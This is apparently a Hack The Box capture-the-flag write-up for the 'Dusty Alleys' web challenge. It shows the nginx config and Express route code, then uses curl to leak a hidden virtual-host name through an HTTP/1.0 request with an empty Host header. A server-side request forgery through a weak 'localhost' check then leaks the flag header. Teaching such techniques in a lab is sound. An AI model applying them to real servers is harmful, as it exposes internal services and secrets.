Dusty Alleys
Structure
Looking at nginx config:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
cat config/default.conf
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;
location / {
root /var/www/html/;
index index.html;
}
location /alley {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 80;
server_name guardian.$SECRET_ALLEY;
location /guardian {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
We have 2 virtual hosts:
alley.$SECRET_ALLEYguardian.$SECRET_ALLEY
We can’t visit /guardian endpoint either. We need to determine the hostname.
But that variable is undeterminable in the present files. Tried to fuzz it as well to no avail. However if we are able to determine it for one vhost we will be able to use it with the other vhost.
The other files of interest:
1
2
3
4
5
6
7
8
9
10
11
12
./routes:
total 12
drwxr-xr-x 2 kali kali 4096 Jan 23 2025 .
drwxr-xr-x 5 kali kali 4096 Jan 23 2025 ..
-rw-r--r-- 1 kali kali 1124 Jan 23 2025 guardian.js
./views:
total 16
drwxr-xr-x 2 kali kali 4096 Jan 23 2025 .
drwxr-xr-x 5 kali kali 4096 Jan 23 2025 ..
-rw-r--r-- 1 kali kali 1935 Jan 23 2025 guardian.ejs
-rw-r--r-- 1 kali kali 1680 Jan 23 2025 index.ejs
Let’s understand the endpoints that we have and how they respond:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const node_fetch = require("node-fetch");
const router = require("express").Router();
router.get("/alley", async (_, res) => {
res.render("index");
});
router.get("/think", async (req, res) => {
return res.json(req.headers);
});
router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", {
error: "You are forbidden from talking with me.",
});
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
console.error(e);
return res.render("guardian", {
error: "The words are lost in my circuits",
});
}
});
module.exports = router;
Exploit
/alleyendpoint is the index page, nothing eventful there.- Navigating to
/thinkreturns the request headers itself. /guardianhas a parameterquote.- Takes a quote parameter that should be a URL
- Validates that the hostname ends with “localhost” OR equals “localhost”
- If validation fails, it returns an error
- If validation passes, it makes a GET request to that URL with the flag in the Key header
- Returns the response content
One thing particularly of interest is that nginx configuration doesn’t explicitly specify the version of HTTP. We can downgrade the HTTP version to 1.0. Our primary task for now is to determine the header hostname. /think endpoint returns the request headers.
1
2
curl -H "Host:" --http1.0 http://94.237.49.23:41949/think
{"host":"alley.firstalleyontheleft.com","x-real-ip":"10.30.18.252","x-forwarded-for":"10.30.18.252","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.14.1","accept":"*/*"}
We have determined $SECRET_ALLEY. Time to interact with the /guardian endpoint:
1
2
3
4
5
6
7
curl -H "Host:guardian.firstalleyontheleft.com" --http1.0 http://94.237.49.23:41949/guardian
<!DOCTYPE html>
<html lang="en">
<head>
<SNIP>
Now time to leverage the quote parameter. We know the flag is stored as a header specifically in Key. We have an endpoint running locally on the server /think that returns the request headers.
1
2
curl -H "Host:guardian.firstalleyontheleft.com" --http1.0 http://94.237.49.23:41949/guardian?quote=http://localhost:1337/think
{"key":"HTB{DUsT_****}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}